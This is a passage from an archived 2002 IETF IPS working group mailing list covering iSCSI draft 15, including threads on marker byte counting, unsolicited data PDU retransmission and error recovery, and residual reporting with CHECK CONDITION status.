------=_NextPart_000_00DF_01C23E1B.233AF260-- From owner-ips@ece.cmu.edu Wed Aug 7 15:37:11 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA05381 for ; Wed, 7 Aug 2002 15:37:06 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g77J1uC25459 for ips-outgoing; Wed, 7 Aug 2002 15:01:56 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from osmtp3.electric.net (osmtp3.electric.net [216.129.90.30]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g77J1ro25453 for ; Wed, 7 Aug 2002 15:01:53 -0400 (EDT) Received: from [216.192.44.67] (helo=EGRodriguez) by osmtp3.electric.net with asmtp (Exim 3.22 #1) id 17cW3t-000LVi-04 for ips@ece.cmu.edu; Wed, 07 Aug 2002 12:01:41 -0700 From: "Elizabeth G. Rodriguez" To: Subject: iSCSI: iSCSI Draft 15 Date: Wed, 7 Aug 2002 13:57:39 -0600 Message-ID: <00d901c23e4c$ba350a30$432cc0d8@EGRodriguez> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00DA_01C23E1A.6F9A9A30" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_00DA_01C23E1A.6F9A9A30 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hello all, iSCSI draft 15 is now out. Thanks to Julian and everyone participating for all their hard work in producing this draft of the document. WG last call is planned to be announced on this document in the next day or two. Before we do that though, David and I would like to ask everyone who has contributed WG last call comments on the initial last call period to review the document, and make sure that your comments have been addressed. Note: This does not mean that you comment was accepted, but simply that there was discussion, if needed, and that it was processed. This is not intended as a slight to Julian, but simply due to the fact that there were so many last call comments, we want to make sure that none slipped through the cracks. If there are any outstanding issues from the first WG last call, please let David and I know immediately. Thanks, Elizabeth Rodriguez and David Black, IPS WG co-chairs ------=_NextPart_000_00DA_01C23E1A.6F9A9A30 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hello all,

 

iSCSI draft 15 is now out.

Thanks to Julian and everyone participating for all = their hard work in producing this draft of the document.

 

WG last call is planned to be announced on this = document in the next day or two.

Before we do that though, David and I would like to = ask everyone who has contributed WG last call comments on the initial last = call period to review the document, and make sure that your comments have = been addressed.

Note:  This does not mean that you comment was accepted, but simply that there was discussion, if needed, and that it = was processed.

This is not intended as a slight to Julian, but = simply due to the fact that there were so many last call comments, we want to make = sure that none slipped through the cracks…

 

If there are any outstanding issues from the first WG = last call, please let David and I know immediately.

 

Thanks,

Elizabeth Rodriguez and David = Black,

IPS WG co-chairs

------=_NextPart_000_00DA_01C23E1A.6F9A9A30-- From owner-ips@ece.cmu.edu Wed Aug 7 16:28:35 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA07405 for ; Wed, 7 Aug 2002 16:28:35 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g77Joss29952 for ips-outgoing; Wed, 7 Aug 2002 15:50:54 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lion.ninthwonder.com (lion.ninthwonder.com [151.199.66.147]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g77Joqo29944 for ; Wed, 7 Aug 2002 15:50:52 -0400 (EDT) Received: by lion.ninthwonder.com (Postfix, from userid 1021) id 49C7530716; Wed, 7 Aug 2002 15:50:48 -0400 (EDT) Date: Wed, 7 Aug 2002 12:46:51 -0700 (PDT) From: Bill Studenmund X-X-Sender: To: "Michael J. S. Smith (PacBell)" Cc: , Subject: Re: Markers In-Reply-To: <007001c23db8$78dcac80$6501a8c0@iready.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk On Tue, 6 Aug 2002, Michael J. S. Smith (PacBell) wrote: > MarkersI helped write our hardware specification on this issue and > going over the specification again just now, I realized that I > referenced the Internet draft for the definitive description of marker > insertion. So, I certainly have an interest in getting this right. > > >> From this text, it is not clear whether the two "copies" of the marker are identical copies > > Pat, you are right, you need to look beyond the text that you quoted > to get clarity. Some ambiguity is resolved when you realize that > markers "don't count". > > [quote] > > The Marker scheme uses payload byte stream counting that includes > every byte placed by iSCSI in the TCP stream except for the markers > themselves. It also excludes any bytes that TCP counts but are not > originated by iSCSI. > > [end quote] > > Thus, > > 1. Since "counting ... includes every byte ... except for the markers > themselves," I believe the markers are both identical (in particular, > the count in the two markers is the same, since we don't count the > marker bytes). > > [quote] > Marker is eight bytes in length and contains two 32-bit offset fields > that indicate how many bytes to skip in the TCP stream in order to > find the next iSCSI PDU header. > [end quote] > > [quote] > > The marker interval and the initial marker-less interval are counted > in terms of the bytes placed in the TCP stream data by iSCSI. > [end quote] > > >> From this text, it is not clear ... whether each marker specifies > >> how many bytes to skip from its position in the stream. It also isn't > >> entirely clear where the count of bytes to skip starts (which is > >> related to the first). > > Again the two markers don't matter. Thus, > > 2. The count is how many TCP stream bytes to skip, forget about the > markers. The definition of "TCP Stream" needs a stretch, but between > the first and third sections quoted above, I think it is "TCP Stream > := every byte placed by iSCSI in the TCP stream except for the markers > themselves and any bytes that TCP counts but are not originated by > iSCSI". > > I had to think a few times about "bytes that TCP counts but are not > originated by iSCSI", and I can't think of any strange cases that > leave ambiguity in this definition, but can anyone else? No, I think that's a good definition. Though do you have examples of "bytes that TCP counts but are not originated by iSCSI" that aren't markers? > On the other hand if we were to add ""The count of bytes begins with > the first byte after the Marker", I think there is a possibility for > confusion unless you again declare "count of bytes" means TCP Stream > (as defined). > > I'm probably too close to this now to render an objective opinion on > whether ambiguity exists, but I think an example will help, and Pat's > is as good as any to resolve this particular (possible) ambiguity (in > her example, I believe both marker copies contain zero). I'd like to suggest another, more complicated example that I think would remove all ambiguity. Scenario: We have data digests enabled for CRC32C, and markers every 2k of data (every 512 int32's of data). We are 4 bytes away from our next marker, and we send 8k worth of zeros. We would write (I believe, please help check me on this): four bytes of zero: 00 00 00 00 Marker (we're 8k away from next pdu): 00 00 20 00 00 00 20 00 2k of data: all zeros (00 00 00 00 .....) Marker (we're now 6k away): 00 00 18 00 00 00 18 00 2k of data: all zeros (00 00 00 00 .....) Marker (now 4k away): 00 00 10 00 00 00 10 00 2k of data: all zeros (00 00 00 00 .....) Marker (now 2k away): 00 00 08 00 00 00 08 00 2044 bytes of data, all that's left: (00 00 00 00 .....) The data digest: (in transmission order) 23 46 44 90 Marker (now 0 away): 00 00 00 00 00 00 00 00 [Next PDU] Does that look right? Also, this example can serve as another CRC example. Take care, Bill From owner-ips@ece.cmu.edu Wed Aug 7 16:36:27 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA07739 for ; Wed, 7 Aug 2002 16:36:27 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g77KO0V02627 for ips-outgoing; Wed, 7 Aug 2002 16:24:00 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lion.ninthwonder.com (lion.ninthwonder.com [151.199.66.147]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g77KNwo02621 for ; Wed, 7 Aug 2002 16:23:58 -0400 (EDT) Received: by lion.ninthwonder.com (Postfix, from userid 1021) id 70F4230706; Wed, 7 Aug 2002 16:23:57 -0400 (EDT) Date: Wed, 7 Aug 2002 13:20:00 -0700 (PDT) From: Bill Studenmund X-X-Sender: To: "Mallikarjun C." Cc: , Julian Satran , Subject: Re: Unsolicited data PDU retry In-Reply-To: <004101c23e3f$a9de11c0$edd52b0f@rose.hp.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk On Wed, 7 Aug 2002, Mallikarjun C. wrote: > Tony, > > In addition to what Julian said, let me add one more comment. > > Initiator is not expected to initiate any Data-Out recovery on its own - > without being requested so via a recovery R2T by the target. The unsolicited > data PDU retry is not advised. This follows from the design goal (e) > in section 5.1.2 (top of page 80 in rev15) - only one side drives error > recovery for a given class of PDUs, and target does it for Data-Out. > > Hope that clarifies. Mallikarjun, How can that be correct, though? Maybe I'm mis-understanding something (or thinking you're side-stepping something you're not), but it seems like that could lead to a mess. First off, while you're right that the target drives data-out sequencing with R2Ts, initial data is a little different. The initiator drives that, subject to negotiation and spec rules. It decides if it wants to use Immediate Data or unsolicited PDUs (assuming negotiations permit it). From Julian's comment: > As for the data our assumption has been that target will drop data for > non-instantiated tasks (not a known ITT). If we are retransmitting the command because we think it didn't get received, then doesn't it seem sensible to conclude that the above text triggered all of the unsolicited data getting dropped? Also, at a basic level, regardless of retransmission or not, if the initiator (re)sends a command PDU that indicates it will use unsolicited data (F bit not set in command PDU), then doesn't it always have to send the unsolicited data it just promised?? I could see an initiator choosing to retransmit a command without immediate and unsolicited data (no data in PDU and F-bit set) and that normal R2Ts would take over from there. But we don't require it to do so at present, and if the initiator chooses to indicate the presence of unsolicited PDUs, then I'd expect it to have to send them. Take care, Bill From owner-ips@ece.cmu.edu Wed Aug 7 19:42:33 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA13669 for ; Wed, 7 Aug 2002 19:42:33 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g77N9ds15353 for ips-outgoing; Wed, 7 Aug 2002 19:09:39 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g77N9ao15345 for ; Wed, 7 Aug 2002 19:09:36 -0400 (EDT) Received: from core.rose.hp.com (core.rose.hp.com [15.43.208.100]) by palrel10.hp.com (Postfix) with ESMTP id CFCAAC0082D; Wed, 7 Aug 2002 16:09:35 -0700 (PDT) Received: from swathi (swathi.rose.hp.com [15.43.213.237]) by core.rose.hp.com with SMTP (8.9.3 (PHNE_22672)/8.8.6 SMKit7.02) id QAA09748; Wed, 7 Aug 2002 16:11:29 -0700 (PDT) Message-ID: <009e01c23e67$7f6cb720$edd52b0f@rose.hp.com> From: "Mallikarjun C." To: "Bill Studenmund" Cc: References: Subject: Re: iSCSI: Unsolicited data PDU retry Date: Wed, 7 Aug 2002 16:09:35 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Bill, I do not quite follow what "could lead to a mess"....let me address what I think is your question. I did not say that target "drives the data-out sequencing" for unsolicited data, only that the target drives the *error recovery* for all data-out (assuming it received the command, so has the ITT context). Let me attempt to rephrase. A digest error as an example, taken on one of the unsolicited data PDUs, would have to be recovered by the target sending a recovery R2T - IOW, target driving the Data-Out PDU recovery is true even for unsolicited data. If I understand you correctly, you seem to suggest that retries may carry different header flags (F-bit and no-F-bit) - it's illegal. Take a look at 5.2.1. I believe the protocol does work correctly even if the initiator retransmits Data-Out PDUs as it pleases, but that's not the design expectation. I believe that's all Tony's question was about. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Hewlett-Packard MS 5668 Roseville CA 95747 cbm@rose.hp.com ----- Original Message ----- From: "Bill Studenmund" To: "Mallikarjun C." Cc: ; "Julian Satran" ; Sent: Wednesday, August 07, 2002 1:20 PM Subject: Re: Unsolicited data PDU retry > On Wed, 7 Aug 2002, Mallikarjun C. wrote: > > > Tony, > > > > In addition to what Julian said, let me add one more comment. > > > > Initiator is not expected to initiate any Data-Out recovery on its own - > > without being requested so via a recovery R2T by the target. The unsolicited > > data PDU retry is not advised. This follows from the design goal (e) > > in section 5.1.2 (top of page 80 in rev15) - only one side drives error > > recovery for a given class of PDUs, and target does it for Data-Out. > > > > Hope that clarifies. > > Mallikarjun, > > How can that be correct, though? > > Maybe I'm mis-understanding something (or thinking you're side-stepping > something you're not), but it seems like that could lead to a mess. > > First off, while you're right that the target drives data-out sequencing > with R2Ts, initial data is a little different. The initiator drives that, > subject to negotiation and spec rules. It decides if it wants to use > Immediate Data or unsolicited PDUs (assuming negotiations permit it). > > >From Julian's comment: > > > As for the data our assumption has been that target will drop data for > > non-instantiated tasks (not a known ITT). > > If we are retransmitting the command because we think it didn't get > received, then doesn't it seem sensible to conclude that the above text > triggered all of the unsolicited data getting dropped? > > Also, at a basic level, regardless of retransmission or not, if the > initiator (re)sends a command PDU that indicates it will use unsolicited > data (F bit not set in command PDU), then doesn't it always have to send > the unsolicited data it just promised?? > > I could see an initiator choosing to retransmit a command without > immediate and unsolicited data (no data in PDU and F-bit set) and that > normal R2Ts would take over from there. But we don't require it to do so > at present, and if the initiator chooses to indicate the presence of > unsolicited PDUs, then I'd expect it to have to send them. > > Take care, > > Bill > > From owner-ips@ece.cmu.edu Wed Aug 7 20:56:15 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA15331 for ; Wed, 7 Aug 2002 20:56:10 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g780N1T19498 for ips-outgoing; Wed, 7 Aug 2002 20:23:01 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lion.ninthwonder.com (lion.ninthwonder.com [151.199.66.147]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g780Mxo19491 for ; Wed, 7 Aug 2002 20:22:59 -0400 (EDT) Received: by lion.ninthwonder.com (Postfix, from userid 1021) id 37C2C30706; Wed, 7 Aug 2002 20:22:59 -0400 (EDT) Date: Wed, 7 Aug 2002 17:19:02 -0700 (PDT) From: Bill Studenmund X-X-Sender: To: "Mallikarjun C." Cc: Subject: Re: iSCSI: Unsolicited data PDU retry In-Reply-To: <009e01c23e67$7f6cb720$edd52b0f@rose.hp.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk On Wed, 7 Aug 2002, Mallikarjun C. wrote: > Bill, > > I do not quite follow what "could lead to a mess"....let me address what > I think is your question. Ok. > I did not say that target "drives the data-out sequencing" for unsolicited > data, only that the target drives the *error recovery* for all data-out (assuming > it received the command, so has the ITT context). Ahh... > Let me attempt to rephrase. A digest error as an example, taken on > one of the unsolicited data PDUs, would have to be recovered by the > target sending a recovery R2T - IOW, target driving the Data-Out PDU > recovery is true even for unsolicited data. > > If I understand you correctly, you seem to suggest that retries may carry > different header flags (F-bit and no-F-bit) - it's illegal. Take a look at 5.2.1. Yes, you are correct that that's what the spec says about the packet. Well, here's what I thought was the mess. You're suggesting that, when REtransmitting a command, it is ok to send a command that indicates we're sending more PDUs (F-bit not set) and to then NOT send them as we're plugging a command hole. That really strikes me as a protocol violation. It may not be by the letter of the protocol, but it just seems wrong. I mean I doubt we be happy with an implementation that did that on the initial transmission, so why do it on the retransmission? Think about what's going to happen to this command (assuming I understand you right). Either we are really plugging a hole or we aren't. If we aren't, the target will drop the repeat and the unsolicited data on the floor. But if we really are plugging a hole, we send this one command and then we have to wait until the target times out and requests error recovery R2Ts. i.e. because of that one error, we now have to wait both the initiator and the target timeout period before things start to get fixed. Also, having a perceived error state on the initiator's side need the target to perceive an error to fully recover seems cumbersome. If that's really considered the best thing to do, well, it will work. It just seems sub-optimal. Take care, Bill From owner-ips@ece.cmu.edu Wed Aug 7 22:55:07 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA18593 for ; Wed, 7 Aug 2002 22:55:07 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g782LAo26332 for ips-outgoing; Wed, 7 Aug 2002 22:21:10 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g782Kxo26315 for ; Wed, 7 Aug 2002 22:20:59 -0400 (EDT) Received: from core.rose.hp.com (core.rose.hp.com [15.43.208.100]) by palrel13.hp.com (Postfix) with ESMTP id CA0D3400CE8; Wed, 7 Aug 2002 19:19:51 -0700 (PDT) Received: from rose.hp.com (hpsil34.rose.hp.com [15.43.211.225]) by core.rose.hp.com with ESMTP (8.9.3 (PHNE_22672)/8.8.6 SMKit7.02) id TAA11013; Wed, 7 Aug 2002 19:21:06 -0700 (PDT) Message-ID: <3D51D94E.BB7930CE@rose.hp.com> Date: Wed, 07 Aug 2002 19:37:03 -0700 From: "Mallikarjun C." Reply-To: cbm@rose.hp.com Organization: Hewlett-Packard X-Mailer: Mozilla 4.75 [en] (X11; U; HP-UX B.10.20 9000/715) X-Accept-Language: en MIME-Version: 1.0 To: Bill Studenmund Cc: ips@ece.cmu.edu Subject: Re: iSCSI: Unsolicited data PDU retry References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit >You're suggesting that, when > REtransmitting a command, it is ok to send a command that indicates we're > sending more PDUs (F-bit not set) and to then NOT send them as we're > plugging a command hole. Sorry, but I never said it - perhaps I was just unclear. On the contrary, I am suggesting that the command retry mechanics must be identical. All I said was that the target is responsible for Data-Out recovery *when* it did receive the command earlier. If the initiator is suspecting that the command never got there, it's obligated to repeat the entire command retry sequence - including the unsolicited data, if any. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions MS 5668 Hewlett-Packard, Roseville. cbm@rose.hp.com Bill Studenmund wrote: > > On Wed, 7 Aug 2002, Mallikarjun C. wrote: > > > Bill, > > > > I do not quite follow what "could lead to a mess"....let me address what > > I think is your question. > > Ok. > > > I did not say that target "drives the data-out sequencing" for unsolicited > > data, only that the target drives the *error recovery* for all data-out (assuming > > it received the command, so has the ITT context). > > Ahh... > > > Let me attempt to rephrase. A digest error as an example, taken on > > one of the unsolicited data PDUs, would have to be recovered by the > > target sending a recovery R2T - IOW, target driving the Data-Out PDU > > recovery is true even for unsolicited data. > > > > If I understand you correctly, you seem to suggest that retries may carry > > different header flags (F-bit and no-F-bit) - it's illegal. Take a look at 5.2.1. > > Yes, you are correct that that's what the spec says about the packet. > > Well, here's what I thought was the mess. You're suggesting that, when > REtransmitting a command, it is ok to send a command that indicates we're > sending more PDUs (F-bit not set) and to then NOT send them as we're > plugging a command hole. That really strikes me as a protocol violation. > It may not be by the letter of the protocol, but it just seems wrong. I > mean I doubt we be happy with an implementation that did that on the > initial transmission, so why do it on the retransmission? > > Think about what's going to happen to this command (assuming I understand > you right). Either we are really plugging a hole or we aren't. If we > aren't, the target will drop the repeat and the unsolicited data on the > floor. > > But if we really are plugging a hole, we send this one command and then we > have to wait until the target times out and requests error recovery R2Ts. > i.e. because of that one error, we now have to wait both the initiator and > the target timeout period before things start to get fixed. Also, having a > perceived error state on the initiator's side need the target to perceive > an error to fully recover seems cumbersome. > > If that's really considered the best thing to do, well, it will work. It > just seems sub-optimal. > > Take care, > > Bill From owner-ips@ece.cmu.edu Thu Aug 8 11:58:36 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA17167 for ; Thu, 8 Aug 2002 11:58:35 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g78FMxv19456 for ips-outgoing; Thu, 8 Aug 2002 11:22:59 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from maho3msx2.isus.emc.com (maho3msx2.isus.emc.com [128.221.11.32]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g78FMvo19447 for ; Thu, 8 Aug 2002 11:22:57 -0400 (EDT) Received: by maho3msx2.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Thu, 8 Aug 2002 11:22:51 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71E064435A9@CORPMX14> From: Black_David@emc.com To: luben@splentec.com, ips@ece.cmu.edu Subject: iSCSI and FCP Date: Thu, 8 Aug 2002 11:22:46 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk > > Also, a transport (iSCSI) shouldn't be influenced by > > another transport (FCP), but only by the unifying layer, > > i.e. SAM-3. > > Well? Ok as a "first principles" position, I suppose ... but FCP has a lot of deployment experience, and is known to work. In addition, bridges to FCP and other SCSI transports are a reasonable thing to consider. For example, both of these contributed to the decision in Yokohama to drop the BidiInitialR2T key. So, I think "shouldn't be influenced" isn't the right approach - there are things to be learned from FCP's experience, and issues that arise in cross- transport bridges should not be dismissed out-of-hand. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Thu Aug 8 12:01:36 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA17357 for ; Thu, 8 Aug 2002 12:01:36 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g78FMvq19445 for ips-outgoing; Thu, 8 Aug 2002 11:22:57 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic2.corp.emc.com (mxic2.us.dg.com [128.221.31.40]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g78FMto19438 for ; Thu, 8 Aug 2002 11:22:55 -0400 (EDT) Received: by mxic2.corp.emc.com with Internet Mail Service (5.5.2653.19) id ; Thu, 8 Aug 2002 11:22:49 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71E064435AA@CORPMX14> From: Black_David@emc.com To: luben@splentec.com, ips@ece.cmu.edu Subject: iSCSI: Check Condition and Residuals Date: Thu, 8 Aug 2002 11:22:47 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk I think Julian's point is that the use of sense data vs. transport support to return residual counts for CHECK CONDITION is in T10's domain to specify, and we ought to leave it to T10, but warn implementers that it would be wrong to assume that iSCSI residuals will only show up when GOOD status is returned. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- > -----Original Message----- > From: Luben Tuikov [mailto:luben@splentec.com] > Sent: Wednesday, August 07, 2002 12:19 PM > To: Julian Satran; roweber@acm.org; ips@ece.cmu.edu > Subject: Re: iSCSI: plugfest4 issues > > > Let's disect: > > I wrote: > > > > > > I'd only note that when status is CHECK CONDITION > > (respoinse = CCT), then residuals SHOULD NOT be set. > > I.e. the target SHOULD NOT look inside the sense data > > and retrieve them (EXTENDED COPY exception). > > This is the responsibility of the ULP at the initiator. > > The only problem I see here is that one may wrongly > interpret target/initiator. I meant iSCSI target, > iSCSI initiator, i.e. the transport shouldn't > peek inside the sense data and mess with SCSI. > It SHOULD act as a transport only. > > > As to the future, I cannot imagine a CHECK CONDITION > > status and residuals reported by any other means > > than the already established (inside the sense data). > > So this condition is as strong as MUST, but should > > be left as SHOULD NOT, and probably not mentioned at > > all, as is the current matter. > > Well, since reporting residuals with CHECK CONDITION > is already established as the residual being reported > IN the body of the sense data, I cannot imagine > that in the future when status is CHECK CONDITION > then the residuals will be anywhere else BUT in the > sense data. > > > Also, a transport (iSCSI) shouldn't be influenced by > > another transport (FCP), but only by the unifying layer, > > i.e. SAM-3. > > Well? > > -- > Luben > From owner-ips@ece.cmu.edu Thu Aug 8 13:51:20 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA21104 for ; Thu, 8 Aug 2002 13:51:20 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g78H60i27277 for ips-outgoing; Thu, 8 Aug 2002 13:06:00 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lion.ninthwonder.com (lion.ninthwonder.com [151.199.66.147]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g78H5xo27273 for ; Thu, 8 Aug 2002 13:05:59 -0400 (EDT) Received: by lion.ninthwonder.com (Postfix, from userid 1021) id A86A93071C; Thu, 8 Aug 2002 13:05:58 -0400 (EDT) Date: Thu, 8 Aug 2002 10:02:00 -0700 (PDT) From: Bill Studenmund X-X-Sender: To: "Mallikarjun C." Cc: Subject: Re: iSCSI: Unsolicited data PDU retry In-Reply-To: <3D51D94E.BB7930CE@rose.hp.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk On Wed, 7 Aug 2002, Mallikarjun C. wrote: > >You're suggesting that, when > > REtransmitting a command, it is ok to send a command that indicates we're > > sending more PDUs (F-bit not set) and to then NOT send them as we're > > plugging a command hole. > > Sorry, but I never said it - perhaps I was just unclear. On the > contrary, > I am suggesting that the command retry mechanics must be identical. Ahhh!!! My appologies. I think we're in violent agreement. :-) Take care, Bill From owner-ips@ece.cmu.edu Thu Aug 8 14:38:07 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA22580 for ; Thu, 8 Aug 2002 14:38:07 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g78HteB01353 for ips-outgoing; Thu, 8 Aug 2002 13:55:40 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lion.ninthwonder.com (lion.ninthwonder.com [151.199.66.147]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g78Htco01345 for ; Thu, 8 Aug 2002 13:55:38 -0400 (EDT) Received: by lion.ninthwonder.com (Postfix, from userid 1021) id CC37F3070A; Thu, 8 Aug 2002 13:55:37 -0400 (EDT) Date: Thu, 8 Aug 2002 10:51:39 -0700 (PDT) From: Bill Studenmund X-X-Sender: To: Tony Battersby Cc: , Subject: Re: Unsolicited data PDU retry In-Reply-To: <000d01c23ee4$33f2f020$e0019d89@cybernetics.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk On Thu, 8 Aug 2002, Tony Battersby wrote: > Check out the last paragraph of section 2.2.4.2 of draft 15. It is about > ordering rules for unsolicited data. It seems to me that if the initiator > does re-send the unsolicited data, and another command with unsolicited data > is sent in between the first and second send attempts, then it might violate > the ordering rules in this section. For example: > > Initiator sends command #1 > Target receives command #1 successfully > > Initiator sends unsolicited data for command #1 > Target discards the unsolicited data PDU due to a header digest error For this scenario to happen, it has to be either the last or the only unsolicited data PDU that bites it. Otherwise there will be a subsequent unsolicited data PDU that will expose the hole's presence, and then the target will send an error recovery R2T. > Initiator sends command #2 > Target receives command #2 successfully > > Initiator sends unsolicited data for command #2 > Target receives unsolicited data successfully > > (initiator times out) > > Initiator re-sends command #1 > Target discards PDU because it is a duplicate At this point, if the target is feeling savy, it could realize that in addition to getting a duplicate command it will be getting duplicate data PDUs, and act accordingly. > Initiator re-sends unsolicited data for command #1 > Target terminates the session because it received unsolicited data > out-of-order > > I suppose one could also argue that the target could detect the out-of-order > unsolicited data and terminate the session when it receives the unsolicited > data for command #2, because it was expecting the unsolicited data for > command #1 first. In this case, the problem would be independent of > re-sending the unsolicited data PDU. I didn't think that ordering mattered across commands. If it did, then there would be little way to support multiple commands in progress at once. :-) > Maybe I am missing something. I am not sure why the ordering rules are > there (implementation simplicity?), but it seems like if the target relied Yep, implementation simplicity. > on the ordering, it would make recovery impossible in this situation. The > problem could be lessened either by requiring the target to close the > connection on a header digest error rather than having the option of > discarding the PDU, or else by eliminating the ordering rule. Or, one could > just say, "Too bad; you can't recover from this." Take care, Bill From owner-ips@ece.cmu.edu Thu Aug 8 14:40:40 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA22672 for ; Thu, 8 Aug 2002 14:40:40 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id 